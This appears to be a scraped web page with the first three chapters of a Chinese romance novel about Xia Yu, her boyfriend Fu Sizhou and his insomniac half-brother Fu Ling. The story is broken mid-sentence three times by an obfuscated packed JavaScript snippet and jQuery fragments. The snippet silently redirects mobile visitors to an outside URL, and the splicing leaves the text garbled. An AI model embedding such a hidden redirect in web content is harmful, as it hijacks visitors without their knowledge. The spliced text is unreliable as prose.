《梦游金鱼》
1. Chapter 1
傍晚五点,夏虞拉着行李箱走出海城机场。
空气是烫人的,还裹挟着粘稠水汽,针织长裙贴在皮肤上,有些闷。
她摘下耳机,随手拉了拉鸭舌帽,视线穿过人群,一眼便看到傅家派来接她的宾利。
“泊远哥。”
她整理了下单肩包的肩带,拉着箱子快步过去。
将东西递到对方手中,她转头便去拉后座的车门。
车里是空的。
傅斯洲不在。
今天是傅斯洲生日,她这趟出差回来,正好赶上,原想给他单独庆生,连餐厅都挑好了。
但却差点忘了,他跟她不一样。
他的生日,似乎也不属于他自己。
经不起他在电话里的软磨硬泡,向来讨厌热闹的她,终究心软,答应去傅家赴宴。
目光在空座上停留一瞬,夏虞淡然地收回,俯身钻进后座。
“小洲被几位世交的叔伯绊住了,实在抽不开身。”
察觉到什么,陈泊远特意解释了一句。
他平日里主要替傅斯洲母亲陆正敏办事,本不该他来接机,但因陆正敏格外喜欢夏虞,主人不在,他自然也就多上心几分。
夏虞低头系上安全带,“咔哒”一声轻响后,唇角微牵。
“人很多吗?”
“嗯,老爷那边发了话,这次恐怕不单是生日宴这么简单。不过你不用担心,来的多是些年轻人。”
“只是…”他转动方向盘,面色微凝,“这次大少爷也会来。”
夏虞正从包里摸出手机,指尖一滑,手机从边缘坠落,“砰”地砸在脚垫上。
她低头去捡,“你说的是傅斯洲的哥哥…傅泠?”
“是。他今日也刚出差回来。“
傅斯洲有个同父异母的哥哥,叫傅泠,从小在国外长大,身上有四分之一的英国血统。
她第一次知道傅泠的存在,是在一本集团内刊上。
男人穿着简约的黑色高领毛衣,寸头,侧对着镜头,鼻梁高挺,眉宇间近乎跋扈的英气,几乎穿透纸页。
那篇报道的文字精炼克制,但字里行间,无处不流露着极强的掌控感。
听说,傅泠刚回国便接手集团核心职位。与此同时,原本置身管理层的傅斯洲,却被调至基层。
夏虞似乎能察觉到,两兄弟关系微妙。
否则,她也不会跟傅斯洲谈了快半年,才意外得知他竟还有个哥哥。
只是,傅泠这人向来我行我素。上个月继母寿宴,他未曾出席,傅老爷大发雷霆,几次派人去请。
可直到深夜宴散,连半个影子也没看到。
既然如此…他今日又为何前来赴宴?
大概是空气太潮闷,夏虞掌心出了层薄汗。
她按下车窗,有冰凉的液体滴在脸上,抬头一看,道旁高大的棕榈树正在风中摇曳。
车已驶入别墅区深处。
她摘掉耳机,正对着窗玻璃擦脸,突然,车身猛地一甩,轮胎摩擦地面,发出刺耳的锐响。
一个毫无预兆的急刹车。
巨大的惯性将她整个人往前掼去,安全带猛地勒紧肩胛,又将她拽回。
重重摔在椅背上。
“哪个不要命的——”
陈泊远摔门下车,骂声却戛然而止,“傅...傅泠少爷?怎么是您。”
夏虞揉着撞痛的肩膀,闻声抬头。
隔着明净的挡风玻璃,前面的黑车,车门打开,一条穿着西裤的长腿利落地迈出,随后,一个身着黑衬衫的男人映入视野。
他个子很高,身形挺拔。夏虞的视线从下往上,扫过男人笔直的长腿、劲瘦的窄腰、宽阔的肩膀…
最终,停留在他微动的喉结上。
再往上,便是视野盲区了。
“抱歉,陈管家。”
男人的声音透过潮湿的空气传来,偏低、偏沉,听得人心头无端一紧。
他居高临下,看着面前恭谨的人道:“李隽开车太毛躁,我代他向你赔个不是。”
语气分明温和,却带着某种无形的、令人脊背发凉的压迫感。
陈泊远的腰身又弯下去几分,像被雨雪压弯的树枝。
随即,男人似乎朝她这里偏了下头,但很快转回,迈着长腿,越过了噤若寒蝉的陈泊远。
背影随即消失在院门的深影里。
--
二楼书房。
佣人端着托盘,垂首跟在傅泠后方,步履轻缓,生怕弄出一点声响。
“东西给我吧。”
车停好后,李隽拎着公文包上楼,顺手接过茶盘,佣人如释重负,悄然退出了书房。
“昨晚睡了有两小时没?”
他将黑咖啡递给傅泠,自己拿起红茶喝了口,目光落向那张紫檀木桌。
上面燃着一炷刚点的安神香。
傅泠摘下腕间的睡眠监测器,扔给他,“刚才怎么开车的?”
“换成是你,只怕会更野。”
跟着傅泠久了,李隽也敢在老虎嘴里拔牙了。他调侃着接过监测器,低头查看,脸上的笑顿时凝固。
简直比想象中还糟糕...
真怕他哪天猝死。
李隽走到窗边坐下,边烦躁地灌着茶水,边点开手机里刚收到的一封新邮件。
简直是说什么,来什么。
他刚扫两眼,就骂出了声:“董事会那帮老东西,都快把你的失眠症,给传成精神病了。”
傅泠走到置物柜前,戴上黑色皮手套,拿起一把已经装好吸盘箭的小型手|弩。
“所以呢?找到新办法了?”
“李密医生那边找到一种新药。”
“这次又有几分效果?”
自从几年前开始失眠,他身体里就像豢养了一条毒蛇。它盘踞在他颅腔,每至深夜,便缓缓苏醒,用冰冷的信子,蚕食他的睡眠。
这些年,他尝试了国内外各种疗法,无一奏效。时间久了,他已经学会与这条毒蛇和平共处了。
尽管每晚只能勉强睡两三个小时,但总归死不了。
至少,暂时死不了。
“有没有效果,你都得先试试。”
李隽将茶杯重重放下,面色陡然严肃,“今时不同往日,别忘了你这次回国的目的,既然如此,就绝不能被陆正邦抓住任何把柄。”
傅泠打开手|弩的瞄准器。
一道红点自他手中跳出,稳稳落在对墙的靶心上。
“那就,再试试。”
话音落,他扣动扳机,“嗖”的一声,箭破空而出,精准命中红心。
“找人的事,有眉目了?”
他扔下手|弩,转头看向李隽,比起失眠症,他更关心的,是那个女孩的下落。
李隽会意,立刻从公文包里抽出一份薄薄的文件夹,递给他。
“看看,这姑娘是不是你要找的人。”
傅泠呼吸一滞,几秒后,才缓缓伸手,接过那份沉甸甸的资料。
文件夹中,是一个女人的照片和履历,二十五岁,清溪县人,跟他要找的人,信息对得上。
然而,他目光只在照片上短暂停留,便“啪”一声合上文件夹,动作利落得不带一丝犹豫。
“不是她。”
傅泠面无表情地将资料扔回给李隽。
记忆里的那双眼睛,明亮,鲜活,绝不会是这副怯懦的模样。
“又不是…”
李隽五指无力地陷进发间,烦躁地揉了一把,“老大,你真没其他线索了吗?要不,再仔细想想?”
傅泠没应声。
他缓缓摘下黑色皮手套,绷着一张脸,沉默地踱步到窗边。
清溪县。五年前的夏天。
一个救过他命的女人,不知道姓名,也不知道确切的地址。
甚至,连他们当初是萍水相逢,还是有更深的纠葛,也无从知晓。
半晌,他侧过身,用食指点了点自己太阳穴的位置,“我也想问问这里,那年到底发生了什么?”
李隽心里挺不是滋味的。
那年傅泠出事,他还在英国读书,两人年龄相仿,但傅泠经历的噩梦,却是他无法想象的。
“放心。”李隽沉了沉眸,“就算掘地三尺,我也会帮你把这个女人找出来。”
两人谈话间,楼下花园的大门“嘎吱”一声,被人推了开。
“那是你弟的女朋友吧?”
李隽看向楼下气质不错的女孩,调侃道:“你们家小少爷,从小到大身边都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490631|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是些张扬的主,没想到竟然会喜欢这种安静内敛的女孩。”
傅泠向来对傅斯洲身边的狐朋狗友,不屑一顾,可闻言,又不禁低头望去。
一个孔雀蓝的身影映入眼帘。
她怀里抱着一束白色马蹄莲,跟在佣人身后,缓缓穿行在雨中的花园。
在他垂眸时,她恰好偏过头,跟旁人低语,鸭舌帽遮住她大半张脸,只露出一截白皙微翘的下巴。
收回冷淡的视线,他在沙发上坐下,轻嘲:“一个背影也能看出这么多?”
“当然,还能看出运势呢。”
李隽身体前倾,紧盯着他的脸,故弄玄虚。
“比如我掐指一算,你最近就会遇到贵人。有了这个贵人,你所有的麻烦,都会迎刃而解。”
傅泠眯眼看他,眸色陡然一沉,“嗯,到时候贵人没出现,我拿你去挡陆正邦的子弹。”
咖啡杯在白碟中磕出轻微声响,他起身,慢条斯理整理好衬衫袖扣,步伐沉稳地出去了。
“去哪?”李隽问。
“给寿星祝寿。”
-
生日宴设在偏厅,十米层高的空间,水晶灯倾泻而下,空气里浮动着香槟和雪茄的奢靡气息。
因主事人被困在港城暴雨中,宴会便由傅斯洲的舅舅陆正邦,代为主持。
穿过衣香鬓影、觥筹交错,傅泠在四面八方涌上来的恭维声中,径直走向陆正邦。
对方正与人谈笑,见他过来,脸上立刻堆起恰到好处的关切。
“阿泠回来了?”他亲切地拍了拍傅泠的肩,“看着有些疲惫,是昨晚没睡好?”
“有劳舅舅挂心,睡得还好。”傅泠淡笑,“只是长途飞行有些耗神。不过舅舅主持大局,想必更费心。”
“哪里的话,都是为家里办事。”陆正邦笑容依旧,“你身体无恙就好。毕竟,傅氏将来还有很多要倚靠你的地方。”
傅泠微微颔首,“舅舅言重了。”
“哥——”
正在近处应酬的傅斯洲望了过来。
他一身白色衬衫,头发精心打理过,衬得本就俊朗阳光的脸,更加神采飞扬。
傅泠穿过人群,走到被簇拥的主角面前,将一把跑车钥匙递上。
“生日快乐,一点心意。”
傅斯洲眼中闪过一丝惊诧,但很快反应过来,坦然接过,顺势拿出手机。
“拍一张?”
傅泠没有拒绝,配合地看向镜头。镜头移开的瞬间,他不着痕迹地拉开距离,拍了拍弟弟的肩膀。
“玩得尽兴。”
说罢,他便借故离开,脸上笑意在转身那刻,倏然褪去。
父亲傅震霆借着暴雨的缘故,让陆正邦主持大局,顺便让他带着傅斯洲认人,一面给了这个小舅子某种幻觉,一面又不想让他太过得意。
于是,便让他这个跟陆正邦不对付的大儿子过来。
“傅家人的宴会,姓傅的不在,像什么话?”
傅泠没戳穿老爷子的用意,顺势应下,正好拿到下个项目的签字。
还真是相亲相爱的一家人。
他嘲讽地弯了弯唇角,推开了偏厅的大门。
回到北楼,他去储物室取了铲土的工具,便准备去后花园透透气。
经过茶水室时,隔着半开的磨砂门,一道明丽熟悉的蓝,闯入他的视野。
是傅斯洲的那位女友。
她背对着门,站在大理石台面前,微微垂首,正往茶壶中注水。
外面人声鼎沸,她却一个人躲在这安静的地方,像个格格不入的局外人。
这份静,倒和周围的浮躁形成鲜明对比。
傅泠并未放缓脚步,目光在她身上稍作停留,随即平淡地收回,拎着东西继续往前。
然而,就在那抹蓝即将退出视野的刹那,一连串尖锐急促的警示音,突然刺入耳膜。
“error,error,error…”
是机器操作失误的提示音。
脚下蓦地一顿。
傅泠眉头微蹙。
那持续的、突兀的尖啸声,不仅是在挑战他对无序的容忍度,也让他心脏处泛起一种极度的不适。
迟疑片刻,他最终转身,折回了茶水室。
2. Chapter 2
傅泠重新回到了茶水室门前。
但下一刻,脚步还未落稳,掌心的手机突然震动起来,他低头查看,是下属发来的重要信息。
接二连三弹出的信息,让他不得不将注意力转移到手机上。
指尖在屏幕上快速操作,敲下简短指令后,他再次抬眼,刺耳的故障声已经止息,机器正发出某种正常运转的细微声响。
他淡漠地看了眼那个忙碌的背影,收回视线,面无表情地转头离开了。
--
折腾好一会儿,夏虞终于成功启动这个复杂的、全英文说明的茶壶。
不知是回来的路上受了凉,还是刚刚搬运花材沾了冷水,她感觉浑身阵阵发寒。
进门后,见傅斯洲被一群人围着,她便钻进了茶水室,先吞了颗感冒药,再顺手煮一壶暖胃的红茶。
刚调试好茶壶,就隐约听见门口响起轻微的脚步声。
扭头望去,一道挺拔的黑影,在门边一闪而过。
大概是哪个路过的宾客,她没在意,正要收回视线,耳边响起一道清亮的声音。
“怎么躲这儿了?”
傅斯洲轻叩门框,那张阳光俊朗的脸上,漾着明亮的笑意。
夏虞瞥他一眼,转身拎起茶壶,“我没躲,是你太忙了。”
“没去机场接你,生气了?”
自她出差后,两人已有半月没见。傅斯洲上前环住她,脸埋进她颈窝,声音压低放软。
“是我没考虑周到。”
“今天你是主角,走不开很正常。”
缭绕的热气中,夏虞低头斟茶,看不清面上的表情。
但傅斯洲再清楚不过,她这人就像起雾的深夜,看似温和好说话,却始终让人摸不透。
进或退,都要拿捏好分寸。
傅斯洲将她转过来,轻声哄道:“好了,是我的错,下次一定亲自去接你。”
夏虞抬起头,细细凝视他的眼睛。
她其实并不生气,只是讨厌被动,还有心头雀跃瞬间跌落的轻微失重感。
不想继续谈论这个话题,她问道:“我要不要跟你家人打个招呼?”
“不用。港城暴雨,爸妈肯定是回不来了,至于大哥…”
傅斯洲松开她,侧身拿起茶壶,倒了杯红茶。
“他不讲究这些虚礼,你要是怕他,直接绕道走也行。”
夏虞低低地“嗯”了声。
“不谈他了。”傅斯洲朝她摊手,“我的生日礼物呢?”
夏虞取出备好的礼物,揭开盒子,里面是条深灰色领带。她拎起来,搭在他胸前,歪着头比了比。
“这颜色...是不是太沉了?”
“不沉。你送的,我都喜欢。”
傅斯洲握住她比划的手,目光落在她身上。蓝色长裙下,是清瘦的锁骨。乌发垂落,瞳仁亮而静。
像阳光下的深海。
静默,却让人忍不住想坠溺其中。
他心头一热,揽住她的腰,低头吻下去,但刚触碰到她微凉的唇,夏虞就偏头避开了。
“我好像有些感冒。”
傅斯洲怔了怔,压下心底的失落,在她颈侧轻琢了下,伸手去牵她。
“走吧,给你介绍几个朋友。”
--
也许是感冒药的缘故,社交结束后,夏虞只觉眼皮沉重,头脑越发昏沉。
跟傅斯洲交代了一声,她就溜去楼上休息了。
他的房间在…
她站在二楼走廊,左右张望,他母亲寿宴时她来过一次,印象中应该是东面那间。
为了保险起见,夏虞摸出手机,边朝那间房走去,边拨了通电话给傅斯洲。
无人接听。
她站在房门口,握着门把手,感觉自己像电量还剩百分之一的手机。
这层楼就只有这一间是主卧,应该不会出错。强撑着已经睁不开的眼皮,夏虞伸手推开了那扇木门。
温度比外面低了很多,她冷得环住胳膊,迷糊地扫视了眼,窗帘是紧闭的,冷气没关。
不过,这倒很符合傅斯洲的做派,只是辛苦傅家的佣人,待会忙完宴会,还得来给这位少爷整理房间。
困意来袭,夏虞不再多想,摸到后背的链条,兹拉一声往下一滑,织物顺从地从肩头滑落。
她抬脚越过衣服,牵起被子一角,一头栽了进去。
脸贴在枕头上,冰冰凉凉的,很软很舒服,似乎还有一种淡淡的、很助眠的味道。
她轻叹一声,翻了个身,睡意很快将她彻底吞噬。
不知昏睡了多久,一阵尖锐的电话铃声响起,刺破她的美梦。夏虞眯着眼,慢吞吞地摸到枕边的手机。
“喂?”
“你去了二楼那间?”
傅斯洲的声音从电话里传来,朦胧又真切,“那间房现在是大哥的,我搬到三楼去了。”
大脑宕机两秒,夏虞猛地睁眼。
像被一桶冰水从头浇下,她顿时睡意全无,整个人从床上弹起,后背惊出一身冷汗。
“傅斯洲你说什么?”
听筒却传来一阵嘟嘟声。
因为太过震惊,电话被她不小心挂断了。
她慌忙环顾四周,视线慢慢清明,心却一点点往下沉。
床和周围的家具都换了,床品从白色变成深灰,空气中那股让她安眠的木香,也跟傅斯洲身上那种被阳光晒过的气息,截然不同。
揉着发烫的脸颊,夏虞闭上眼,缓了缓。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490632|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她怎么会犯这种低级错误?
还好,这间房的主人不在,只要出了这扇门,他不会知道自己的床被人碰过。
她迅速抓起地上的长裙,往身上一套,来不及仔细整理,便拎起鞋子,赤脚逃离了“犯罪现场”。
蹑手蹑脚关上房门时,床另一侧的地板上,响起一阵翻身的轻微动静。
--
下楼后,夏虞一路走,一路扫视四周。
晚上九点,宴会已散,会客厅里没有可怕的身影。她刚要松口气,门厅那端传来响动。
傅斯洲从花园推门而入。
“怎么吓成这样?”他居然还笑得出来。
夏虞感觉骨头缝里都透着一丝酸软,她头痛地看着始作俑者:“换房间的事,你怎么不早点告诉我?”
“没事,大哥又不在。”
傅斯洲走过来揉了揉她的头发,安抚道:“别那么紧张,就算真被发现了,他明面上也不会为难你的。”
他轻描淡写的态度,让夏虞有些呼吸不顺。
她突然觉得,很多时候,她跟傅斯洲就像站在很宽的河流两端,听不清、也看不清彼此。
不想在他生日这天置气,夏虞拨开他的手,拿起桌上那瓶红酒,拔掉木塞,仰头就灌。
“唉你别喝那么急..”
傅斯洲话没说完,手机屏幕亮起,是发小陈思琪发来的信息。
不知为何,瞥见那个名字的瞬间,夏虞心头的那点郁结瞬间被浇熄,整个人陷入某种近乎漠然的平和中。
她慢慢放下酒瓶,眼睫低垂,“又是陈思琪啊?”
“嗯,她在挑项链,让我帮忙参考参考。”
傅斯洲倒是毫不遮掩,回答得干脆利落,边低头回复,边神色坦然地提议说:“我觉得都挺好看的,要不要给你也买一条?”
“买条跟她一样的?”
她脱口而出,继而微微叹口气,不等错愕的男人回复,便蓦然转身,朝花园那边走去。
几秒后,傅斯洲终于反应过来,放下手机,追上去一把拽住她的手腕。
“你要是不喜欢,我以后就不提她了…”
夏虞试图抽出手,却被攥得更紧,僵持之际,客厅另一端忽然传来脚步声。
不轻不重,不紧不慢,却精准踩在她的心跳上。
两人同时顿住,齐齐转头。
傅泠正从楼梯上走下。
他穿着身宽松的黑色休闲服,双手插兜,面无表情地穿行在忽明忽暗的光中,寸头的发型、冷硬的轮廓,让他整个人显得格外疏离。
行至半途,像是察觉到什么,他放慢脚步,缓缓偏过头,朝他们这里看了过来。
原本漫不经心的视线,定在了夏虞身上。
3. Chapter 3
夏虞对上傅泠的眼眸。
那是一双深棕色的瞳仁,清冷,贵气,像某种琥珀宝石。
瞳仁的主人,有一张跟傅斯洲神似的脸,却又截然不同,五官极其英俊,比杂志上的形象更年轻。
他的目光漫不经心地扫过她。
那一眼,大约只有一两秒的时间,极短,却极深,像开了锋的刃。
在她心尖划拉了一下。
“轰隆——”
天边在这时滚过一声惊雷。
雷声猝不及防,让夏虞有一瞬的晕眩,她移开视线,低下头,深深吸了口气。
“怎么了?”傅斯洲察觉她的不对劲,握住她冰凉的手。
“没什么。”她脸色有些发白,“突然有点儿头晕。”
“别怕。”
傅斯洲将花园大门关上,雷声顿时被削弱,他安抚道:“我哥自从那次车祸后,人就变得冷了许多,但他也不会因为这点小事,找你麻烦。”
车祸的事,夏虞曾听他提起过。
五年前,傅泠发生过一次意外,车从环山公路坠落,同车人当场毙命,他命大,留了一口气。
三天三夜的抢救后,终于捡回一条命,但后遗症严重,在病床上躺了大半年才慢慢恢复,但脑子里却丢了些从前的记忆。
她再度朝客厅那头望过去。
傅泠目光已然淡下,朝他们略微颔首,随即抬腿往前,只留下一个疏冷的背影。
“好了,没事了。”
傅斯洲将她拉到沙发上坐下,倒了杯热水给她,沉吟片刻后,重回刚才的话题。
“小鱼,我虽然从小跟陈思琪一起长大,但我一直拿她当妹妹看,等这个月一过,她就回美国读书了…”
大概是感冒加重的缘故,夏虞只觉浑身一阵冷一阵热,太阳穴愈发胀痛,耳边嗡嗡作响,一个字也听不进去。
“傅斯洲。”
她轻声打断男友的话,“我想回家了。”
--
周五,晚上九点,星河创意灯火通明。
办公桌四周的文件和书堆叠如山,文件顶端坐着个白色骷髅小人,面无表情托着腮,两条细腿随着她抽文件的动作,机械地晃动着。
夏虞觉得自己此刻的精神状态,跟这个骷髅小人很像。
面前的电脑里,客户终于给过来第十八稿修改意见,却是一句令人血压飙升的话。
【那咱们还是用回第一稿吧】
她揉了揉眼睛,情绪稳定地敲字回复:【好的,没问题】
再附上一个她自认为没有任何问题的表情包:【微笑·jpg】
搞定后,她往椅子上一靠,长长舒了口气,将视线投向电脑旁的玻璃鱼缸。
那里浮游着一条天使鱼,通体荧蓝,鱼鳍处缀着些许白点。
她查看了下水温,从抽屉里拿出蓝色药剂,刚往里滴了两滴,“啪”的一声,一本棕色笔记本被扔在她旁边的桌子上。
“我招谁惹谁了!”
许妍一把拉开椅子,瘫坐下来,“钟越八成是有病吧,客户敲定的东西,他一句话,说重来就重来!”
“怎么,又跟越哥火花四溅了?”
夏虞侧过脸,眼睛弯了弯,朝领导办公室递了个眼神。
“你知道他多吓人吗?”许妍双手扒拉着眼角,“那眼神像是要把我生吞活剥了似的。”
夏虞脸上的笑慢慢凝固。
心里冷不丁滚过一个危险的眼神。
一双深棕色的瞳仁,视线清清冷冷的,从她身上掠过,却令她一直心神不灵。
从昨晚到现在,她一直在琢磨,傅泠那一眼究竟是什么意思?
是察觉到她误闯房间,在警告她?
还是…别有深意。
“唉,你这两年到底是怎么忍下来的?”
许妍出声打断她的游离。
部门里没人不知道,这两年夏虞就像个项目回收机,但凡难搞又没什么成就感的项目,都往她这儿丢,但她从没抱怨过。
夏虞继续往鱼缸里滴药,“大概是为了升职加薪吧。”
许妍才不会相信她的鬼话。
她能力强,又有负责心,再难啃的项目都能出色完成,但从不主动争取,不参加升职竞演,社交、应酬什么的,也是能躲就躲。
是一个没有任何野心的家伙。
“你这鱼能活下来吗?”
顺着她认真喂药的动作,许妍看了眼鱼缸中一动不动的小可怜。
这鱼是午休时,夏虞在街边摊贩上买的。鱼病了,老板急着离开,想将它处理掉,被她拦下。
“这鱼得了白点病,你买回去也不一定能活下来。”老板实诚道。
“没事,给我吧。”她立刻摸出手机,扫码付款。
“行,那给你打个五折。”
“不用,就原价。”
冲动买下这鱼,便对它有了责任,但天使鱼、白斑病,这些词汇都不是她熟悉的。
“只有死马当活马医了。”她盯着水里病怏怏的家伙道。
“也就你心好,救死扶伤。谁来当我的救世主啊!”
“我这叫…物伤其类。”
它是小鱼。
她也是小鱼。
怎么不算同类。
许妍扑哧笑出声,摸了摸她的脑袋,“那小鱼,一起下班吧,我开车送你。”
“你先走,我这还差一点。”
夏虞拧上药瓶,点开幻灯片,客户是搞定了,但上司那儿还差了个汇报。
许妍提醒她说:“你出差的这段时间,附近出现了一个变态跟踪狂,你一个人,我不放心。”
变态的事,夏虞早上听保安提了一嘴,她朝许妍摆手,“没事,傅斯洲等会儿来接我。”
许妍顿时笑得意味深长,“行,那我就不打扰你们小两口了。”
--
泡了杯咖啡,夏虞重新回到工位。
夜幕飘起了细雨,风有些凉,她起身关窗,发现楼下那颗桂花树下,停了辆黑色豪车。
车头有一尊琉璃女神像,在路灯下闪着剔透的光,很美,她忍不住多看了两眼,这才将窗户关上。
她动作很快,不到一小时,便将出差报告整理完毕,发送到上司钟越的邮箱。
环顾四周,部门只剩下她一人了。她伸了个懒腰,将今天的日历撕下,正准备收拾东西,桌上的手机震动起来。
“傅斯洲你到啦?”她一边接起电话,一边将硬盘往包里塞,“我马上下楼,你等...”
话没说完,就被打断:“小鱼,我恐怕没法来接你了。”
“怎么了?”她手上一顿。
“卖场这边出了点状况,有人受了伤…”
信号中断了两秒,紧接着,夏虞听到他在那头厉声训斥:“赶紧送医院,还愣着做什么。”
“你没事吧?”她走到窗边。
“不用担心,受伤的不是我。”他没细说,指挥完手下的人,喘着气道:“我让司机来接你,好不好?”
“不用了,你忙你的,我自己打车回去就…”
电话再次中断,这回只留下一串嘟嘟的忙音。
夏虞怔了下,微微叹口气,将手机放进了包里。
她能理解这种突发状况,只是,向来对傅家产业并不上心的男友,是从什么时候开始,变成工作狂的?
似乎…是从他哥哥傅泠回国后。
可她当初答应跟他在一起,却是因为他虽然身处名利中心,但对这些丝毫不感兴趣。
比起陈思琪的存在,她更在意的,是两人最终会殊途同归,还是背道而驰。
从离开办公室起,夏虞的大脑就被一种很淡的、难以捕捉的混乱侵袭,直到风雨斜斜飘进一楼大厅,冷得她微微一颤,这才回过神来。
八月底,已经入秋了,空气微凉,漂浮着桂花香。
她站在台阶上,放下手提式鱼缸,将卫衣帽子戴上,绳子拉紧,只露出被挤得圆鼓鼓的一张脸,然后拎起鱼缸,撑伞步入雨夜。
想起关于变态的传闻,夏虞暂时放下思绪,警惕着周边环境。
走出大楼没多远,身后便窸窣作响,她回头一看,是只野猫,正从树丛里蹿出,溜进了大楼里。
她握紧雨伞,加快脚步。
路程过半,一切如常。
就在她稍稍放松时,花园的拐角处,突然出现个一身黑衣的可疑人物。
那人个子很高,站在树下,穿着身雨衣,戴着鸭舌帽,似乎在抽烟。看见她后,男人突然掐掉烟。
朝她的方向走了过来。
还真让她给遇上了。
夏虞环顾四周,这里离保安亭尚有一段距离,她迅速掏出提前备好的喷雾,快步朝大门走去。
身后的脚步声越来越近。
她紧紧攥住喷雾,一路小跑起来。怀中的鱼缸不停晃动,水花溅湿她的胸口。
就在这时,寂静的小路突然响起刺耳的引擎声,她抽空看了眼,是刚才树下那辆黑车。
车加速驶近,车尾一甩。
停在了她面前。
车门打开,副驾驶下来个西装革履的男人。
“夏小姐,你没事吧?”那人撑伞走到她面前。
车尾的光,照亮身后那条路,细雨迷蒙的光晕中,那个跟踪她的身影,停下了脚步。
随即,迅速拐进小道,消失不见了。
“我没事。”她边擦拭着胸前的脏水,边感激地看向对方,“谢谢你啊。”
“不用谢,应该的。”
什么叫…应该的?
等等,他怎么知道自己姓夏?
隐隐识到不对劲时,颈后被人一掌劈下。
眼前一黑,夏虞失去了意识。
--
深夜十一点,雨停,月光透过云层,在私家泳池洒下碎裂的光。
傅泠破水而出,带起的哗哗水声,刺破这座古堡的寂静。他撑在池边,肌肉绷紧,肩胛骨隆起锋利的弧度。
“陆正邦手底下的人来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490633|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”李隽走到池边,扔给他一瓶水。
接过水,傅泠先往落地窗那边看了眼,沙发上的姑娘还没醒。
“李义山?”他收回视线,拧开盖子,仰头喝了口。
李隽点头。
“让他等着。”
他将水放在池边,面无表情地转身,高大身影再度跃入池中。
半小时后,他终于从泳池出来,简单冲洗,刚换上衣服,李隽便将李义山带了进来。
“这么晚了,李叔过来是有重要的事?”
他拿毛巾擦着湿发,脚步很快,面上不辨情绪。
“也没什么大事,就是难得空闲,想过来看看你。”
李义山喘着气,快步跟在他身边,将一堆金灿灿的盒子奉上。
傅泠扫了眼审美欠缺的丑东西,还没开口,就瞥见李隽拢唇憋笑。
那意思是,“你也到吃保健品的年纪了?“
“你不是睡眠不好吗?我家那位在做这方面的研究,他们最近出了个新产品,保证药到病除。”李义山继续道。
“李叔多虑了,我睡眠向来挺好。”
傅泠眼风扫过那堆东西,没伸手去接,瞥了眼李隽,后者会意,将他的睡眠监测器递上。
看着上面的数据,李义山面色微变。
传闻中日日难眠的傅泠,这两天的深度睡眠,竟超过了五个小时。
“多谢李叔关心,这礼物我收下了,只是外面的谣言,您跟舅舅,还是别轻信的好。”
傅泠态度还算客气,但沉稳语气莫名带着压迫感,李义山一时不敢再说什么,只点头。
“我和你舅舅啊,从小看着你长大,自然是盼你好的。”
两人往大门方向走,一只德牧突然从躺椅后跑出,边低嚎,边朝李义山冲过来。
李义山怕狗,看见这条黑黄相间的恶犬,面色突变,脚下连连后退,扑通一声,坠入泳池中。
傅泠漠然地看着他扑腾,半晌,才慢腾腾走过去,朝他伸手。
“没事吧李叔?”
德牧仍在池边徘徊,獠牙森白,低吼不止,像盯上一块肥肉,李义山迟迟不敢将手递给傅泠。
“李隽。”傅泠冲身后厉声喊道:“把你的狗带走。”
德牧离开,李义山的腿却突然抽筋,他一慌,奋力挣扎,池水漾起急促的涟漪。
傅泠再度递出手臂,却始终悬在几寸之遥。
月光打在他脸上,投下的阴影,遮住他眼底盎然的兴味。
片刻后,像是玩腻了这个游戏,他懒洋洋起身,接过旁人递来的毛巾,擦着手臂的脏水,交代手下救人。
偏过头。
隔着巨大的落地窗,对上一双漂亮的眼眸。
跟他想象中不同,夏虞丝毫未见慌乱,她静静凝视着他,眼睛像两泓清透的溪,不惊不怒,就那么淡淡地望过来。
冷静到近乎冷漠。
灯光映在她眼底,碎成一片刺目的星子。
“送李叔回家。”
几秒的对视后,傅泠移开视线,拉开了室内的玻璃门。
--
醒来的几分钟里,夏虞已经理清了头绪。
绑她的人是傅泠,虽不知道他意欲何为,但她应该是安全的。
思忖间,男人从外面进来,往她旁边的单人沙发上坐下,伸手取过桌上的威士忌。
“抱歉夏小姐,这么晚请你过来,是有事想请你帮忙。”
他修长冷白的指节握着瓶身,慢慢往杯中斟酒,嘴上抱歉,面上却看不出半分歉意。
“这就是你请人的态度?”
夏虞低头,看向困住她手脚的链条。
傅泠动作一顿,瞥了眼掷地有声的女人,随即转向一旁的保镖阿诺。
“解释下你干的好事。”
阿诺顿时诚惶诚恐。
老板让他把人请过来,可这大半夜的,哪个有脑子的姑娘,会上一个陌生男人的车?
在他看来,敲晕这一招,是最简单省事的。
至于捆住这姑娘的手脚...
他挠着后脑勺,尴尬地笑笑:“那个,我是怕夏小姐挣扎起来受伤。”
“抱歉了。”
